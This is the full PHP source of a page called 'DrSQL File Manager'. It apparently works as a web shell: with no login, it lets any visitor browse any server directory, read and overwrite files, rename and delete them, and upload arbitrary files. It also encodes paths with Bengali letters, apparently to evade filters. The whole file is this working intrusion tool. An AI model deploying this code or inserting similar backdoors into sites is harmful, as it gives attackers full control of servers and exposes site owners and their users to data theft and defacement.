<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DrSQL File Manager</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        body { background-color: #1a1a1a; color: #e0e0e0; }
        .navbar { background-color: #2c2c2c !important; }
        .table-dark { --bs-table-bg: #2c2c2c; }
        .btn { margin: 2px; }
        .file-icon { margin-right: 8px; }
    </style>
    <script>
    function handleJump(event) {
        event.preventDefault();
        const path = document.getElementById('jumpPath').value;
        const encodedPath = encodePath(path);
        window.location.href = `?p=${encodedPath}`;
    }

    function encodePath(path) {
        return path.replace(/\//g, 'ক')
                   .replace(/\\/g, 'খ')
                   .replace(/\./g, 'গ')
                   .replace(/:/g, 'ঘ');
    }
    </script>
</head>
<body>
<?php
// Helper functions
function formatSizeUnits($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        return $bytes . ' bytes';
    } elseif ($bytes == 1) {
        return $bytes . ' byte';
    } else {
        return '0 bytes';
    }
}

function fileExtension($file) {
    return substr(strrchr($file, '.'), 1);
}

function fileIcon($file) {
    $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
    $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
    $ext = strtolower(fileExtension($file));
    if ($file == "error_log") {
        return '<i class="fa-sharp fa-solid fa-bug"></i> ';
    } elseif ($file == ".htaccess") {
        return '<i class="fa-solid fa-hammer"></i> ';
    }
    if ($ext == "html" || $ext == "htm") {
        return '<i class="fa-brands fa-html5"></i> ';
    } elseif ($ext == "php" || $ext == "phtml") {
        return '<i class="fa-brands fa-php"></i> ';
    } elseif (in_array($ext, $imgs)) {
        return '<i class="fa-regular fa-images"></i> ';
    } elseif ($ext == "css") {
        return '<i class="fa-brands fa-css3"></i> ';
    } elseif ($ext == "txt") {
        return '<i class="fa-regular fa-file-lines"></i> ';
    } elseif (in_array($ext, $audio)) {
        return '<i class="fa-duotone fa-file-music"></i> ';
    } elseif ($ext == "py") {
        return '<i class="fa-brands fa-python"></i> ';
    } elseif ($ext == "js") {
        return '<i class="fa-brands fa-js"></i> ';
    } else {
        return '<i class="fa-solid fa-file"></i> ';
    }
}

function encodePath($path) {
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($a, $b, $path);
}

function decodePath($path) {
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($b, $a, $path);
}

// Path handling
$root_path = __DIR__;
if (isset($_GET['p'])) {
    if (empty($_GET['p'])) {
        $p = $root_path;
    } elseif (!is_dir(decodePath($_GET['p']))) {
        echo ("<script>alert('Directory is Corrupted and Unreadable.'); window.location.replace('?');</script>");
    } elseif (is_dir(decodePath($_GET['p']))) {
        $p = decodePath($_GET['p']);
    }
} elseif (isset($_GET['q'])) {
    if (!is_dir(decodePath($_GET['q']))) {
        echo ("<script>window.location.replace('?p=');</script>");
    } elseif (is_dir(decodePath($_GET['q']))) {
        $p = decodePath($_GET['q']);
    }
} else {
    $p = $root_path;
}
define("PATH", $p);

// Edit functionality
if (isset($_GET['e']) && isset($_GET['q'])) {
    $filePath = PATH . "/" . $_GET['e'];
    if (file_exists($filePath) && is_writable($filePath)) {
        if (isset($_POST['edit'])) {
            $data = $_POST['data'];
            if (file_put_contents($filePath, $data) !== false) {
                echo "<script>alert('File saved successfully.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
            } else {
                echo "<script>alert('Error saving file.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
            }
        } else {
            echo '
            <form method="post">
                <textarea style="height: 500px; width: 90%;" name="data">' . htmlspecialchars(file_get_contents($filePath)) . '</textarea>
                <br>
                <input type="submit" class="btn btn-primary" value="Save" name="edit">
            </form>';
        }
    } else {
        echo "<script>alert('File does not exist or is not writable.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
    }
}

// Rename functionality
if (isset($_GET['r']) && isset($_GET['q'])) {
    $oldPath = PATH . "/" . $_GET['r'];
    if (isset($_POST['rename'])) {
        $newName = PATH . "/" . $_POST['name'];
        if (rename($oldPath, $newName)) {
            echo "<script>alert('Renamed successfully.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
        } else {
            echo "<script>alert('Error renaming file/folder.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
        }
    } else {
        echo '
        <form method="post">
            Rename to:
            <input type="text" name="name" value="' . htmlspecialchars($_GET['r']) . '">
            <input type="submit" class="btn btn-primary" value="Rename" name="rename">
        </form>';
    }
}

// Delete functionality
if (isset($_GET['d']) && isset($_GET['q'])) {
    $target = PATH . "/" . $_GET['d'];
    if (is_file($target)) {
        if (unlink($target)) {
            echo "<script>alert('File deleted successfully.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
        } else {
            echo "<script>alert('Error deleting file.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
        }
    } elseif (is_dir($target)) {
        if (rmdir($target)) {
            echo "<script>alert('Directory deleted successfully.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
        } else {
            echo "<script>alert('Error deleting directory. Ensure it is empty.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
        }
    } else {
        echo "<script>alert('Target does not exist.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
    }
}

// Upload functionality
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['fileToUpload'])) {
    $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "<script>alert('File uploaded successfully.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
    } else {
        echo "<script>alert('Error uploading file.'); window.location.replace('?p=" . urlencode(encodePath(PATH)) . "');</script>";
    }
}
?>

<nav class="navbar navbar-expand-lg navbar-dark">
    <div class="container-fluid">
        <a class="navbar-brand" href="?p=<?= urlencode(encodePath($root_path)) ?>">
            <i class="fa-solid fa-folder-tree"></i> DrSQL File Manager
        </a>

        <!-- Directory Jump Form -->
        <form class="d-flex me-2" onsubmit="handleJump(event)">
            <input type="text" id="jumpPath" class="form-control" placeholder="Enter path">
            <button type="submit" class="btn btn-primary">Jump</button>
        </form>

        <!-- Upload Button -->
        <form class="d-flex" method="post" enctype="multipart/form-data">
            <input type="file" name="fileToUpload" class="form-control" required>
            <button type="submit" name="upload" class="btn btn-primary">Upload</button>
        </form>
    </div>
</nav>

<div class="container mt-4">
    <nav aria-label="breadcrumb">
        <ol class="breadcrumb">
            <?php
            $path = str_replace('\\', '/', PATH);
            $paths = explode('/', $path);
            foreach ($paths as $id => $dir_part) {
                if ($dir_part == '' && $id == 0) {
                    echo "<li class='breadcrumb-item'><a href='?p=/'>/</a></li>";
                    continue;
                }
                if ($dir_part == '') continue;
                echo "<li class='breadcrumb-item'><a href='?p=";
                for ($i = 0; $i <= $id; $i++) {
                    echo str_replace(":", "ঘ", $paths[$i]);
                    if ($i != $id) echo "ক";
                }
                echo "'>$dir_part</a></li>";
            }
            ?>
        </ol>
    </nav>

    <table class="table table-dark table-hover">
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Modified</th>
                <th>Perms</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
            <?php
            // Fetch files and folders
            if (is_readable(PATH)) {
                $fetch_obj = scandir(PATH);
                $folders = array();
                $files = array();
                foreach ($fetch_obj as $obj) {
                    if ($obj == '.' || $obj == '..') continue;
                    $new_obj = PATH . '/' . $obj;
                    if (is_dir($new_obj)) {
                        array_push($folders, $obj);
                    } elseif (is_file($new_obj)) {
                        array_push($files, $obj);
                    }
                }
            }

            // Display folders
            foreach ($folders as $folder) {
                echo "<tr>
                    <td><i class='fa-solid fa-folder file-icon'></i> 
                    <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . htmlspecialchars($folder) . "</a></td>
                    <td><b>---</b></td>
                    <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
                    <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</td>
                    <td>
                        <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "' class='btn btn-sm btn-warning'>
                            <i class='fa-sharp fa-regular fa-pen-to-square'></i>
                        </a>
                        <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "' class='btn btn-sm btn-danger' onclick='return confirm(\"Are you sure?\");'>
                            <i class='fa fa-trash' aria-hidden='true'></i>
                        </a>
                    </td>
                </tr>";
            }

            // Display files
            foreach ($files as $file) {
                echo "<tr>
                    <td>" . fileIcon($file) . htmlspecialchars($file) . "</td>
                    <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
                    <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
                    <td>0" . substr(decoct(fileperms(PATH . "/" . $file)), -3) . "</td>
                    <td>
                        <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "' class='btn btn-sm btn-primary'>
                            <i class='fa-solid fa-file-pen'></i>
                        </a>
                        <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "' class='btn btn-sm btn-warning'>
                            <i class='fa-sharp fa-regular fa-pen-to-square'></i>
                        </a>
                        <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "' class='btn btn-sm btn-danger' onclick='return confirm(\"Are you sure?\");'>
                            <i class='fa fa-trash' aria-hidden='true'></i>
                        </a>
                    </td>
                </tr>";
            }
            ?>
        </tbody>
    </table>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>